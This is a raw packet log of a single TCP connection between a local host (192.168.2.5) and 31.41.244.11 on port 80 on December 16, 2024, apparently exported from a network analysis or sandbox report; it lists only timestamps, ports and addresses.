Dec 16, 2024 09:01:29.669404984 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.669441938 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.669490099 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.671184063 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.671288013 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.671341896 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.672991037 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.673038960 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.673129082 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.673173904 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.674834967 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.674948931 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.675000906 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.676691055 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.676747084 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.676778078 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.676826000 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.678489923 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.678647041 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.678692102 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.680367947 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.680429935 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.680474997 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.680521965 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.777420998 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.777520895 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.777601957 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.778137922 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.778182030 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.778242111 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.779520988 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.779577017 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.779613972 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.780806065 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.780862093 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.780908108 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.780951977 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.782530069 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.782565117 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.782623053 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.783473015 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.783526897 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.783559084 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.783613920 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.784800053 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.784852982 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.784898043 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.784955025 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.786088943 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.786281109 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.786339045 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.787380934 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.787437916 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.787481070 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.787534952 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.788685083 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.788736105 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.788816929 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.788866043 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.789926052 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.790098906 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.790150881 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.791240931 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.791296005 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.791348934 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.791399002 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.792452097 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.792504072 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.792555094 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.792601109 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.793647051 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.793692112 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.793728113 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.794126034 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.794900894 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.794976950 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.795020103 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.795063019 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.796174049 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.796227932 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.796260118 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.796312094 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.797312021 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.797363043 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.797446012 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.797494888 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.798536062 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.798619032 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.798670053 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.799747944 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.799799919 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.799837112 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.799885035 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.800887108 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.800932884 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.801001072 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.801048040 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.802068949 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.802128077 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.802176952 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.803395033 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.803443909 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.803481102 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.803529978 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.804394007 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.804440975 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.804501057 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.804548979 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.805571079 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.805618048 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.805787086 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.805836916 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.806775093 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.806885004 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.806926966 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.807889938 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.808002949 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.808053970 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.809062958 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.809118032 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.809159040 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.809206009 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.810215950 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.810272932 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.810340881 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.810489893 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.811434031 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.811486006 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.811594009 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.811640978 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.812613010 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.812663078 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.812702894 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.812743902 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.813719988 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.813765049 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.813824892 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.813883066 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.814912081 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.814961910 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.815016985 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.815067053 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.816049099 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.816158056 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.816209078 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.817213058 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.817262888 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.817338943 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.817389011 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.818392992 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.818440914 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.818485975 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.818536043 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.819551945 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.819602013 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.819643974 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.819689989 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.820713997 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.820764065 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.820822954 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.821288109 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.821875095 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.821927071 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.822019100 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.822061062 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.823041916 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.823090076 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.823141098 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.823187113 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.824193954 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.824242115 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.824287891 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.824333906 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.825360060 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.825409889 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.825457096 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.825567007 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.826519012 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.826564074 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.826680899 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.826724052 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.827838898 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.827887058 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.827924013 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.827967882 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.828882933 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.828931093 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.829077959 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.829124928 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.830015898 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.830064058 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.830068111 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.830135107 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.831204891 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.831252098 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.831351995 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.831398964 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.832364082 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.832417965 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.832469940 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.832514048 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.833518028 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.833570004 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.833611012 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.833695889 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.834682941 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.834728956 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.834800005 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.834852934 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.835851908 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.835897923 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.835941076 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.835984945 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.837008953 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.837055922 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.837119102 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.837167025 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.838180065 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.838274002 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.838303089 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.838352919 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.839343071 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.839427948 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.839448929 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.839473009 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.840562105 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.840610981 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.969676018 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.969733000 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.969805956 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.969862938 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.969911098 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.969995975 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.970215082 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.970882893 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.970933914 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.971019983 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.971084118 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.971842051 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.971915007 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.971957922 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.971973896 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.972876072 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.972984076 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.973037958 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.973925114 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.973978996 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.974050045 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.974205971 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.975008011 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.975058079 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.975092888 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.975142956 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.976073027 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.976120949 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.976130009 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.976202011 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.977086067 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.977174044 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.977200031 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.977236986 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.978125095 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.978178978 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.978224993 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.978481054 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.979198933 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.979249954 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.979285002 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.979386091 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.980216980 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.980277061 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.980314016 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.980403900 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.981297970 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.981369019 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.981369972 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.981419086 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.982306957 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.982361078 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.982403040 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.982446909 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.983381033 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.983439922 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.983503103 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.983627081 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.984409094 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.984467983 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.984503031 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.984560013 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.985526085 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.985579014 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.985594988 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.985620975 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.986514091 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.986588955 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.986654997 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.986709118 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.987562895 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.987692118 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.987746954 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.988600016 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.988651037 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.988715887 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.988768101 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.989633083 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.989751101 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.989800930 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.990695953 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.990746021 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.990786076 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.990830898 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.991750002 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.991796017 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.991846085 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.991890907 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.992783070 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.992851973 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.992894888 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.992938995 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.993824959 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.993902922 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.993947029 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.993995905 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.994887114 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.994950056 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.994995117 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.995147943 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.995990992 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.996053934 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.996149063 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.996192932 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.996969938 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.997033119 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.997075081 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.997226954 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.998023033 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.998078108 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.998119116 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:29.998297930 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:29.999068975 CET	80	49866	31.41.244.11	192.168.2.5
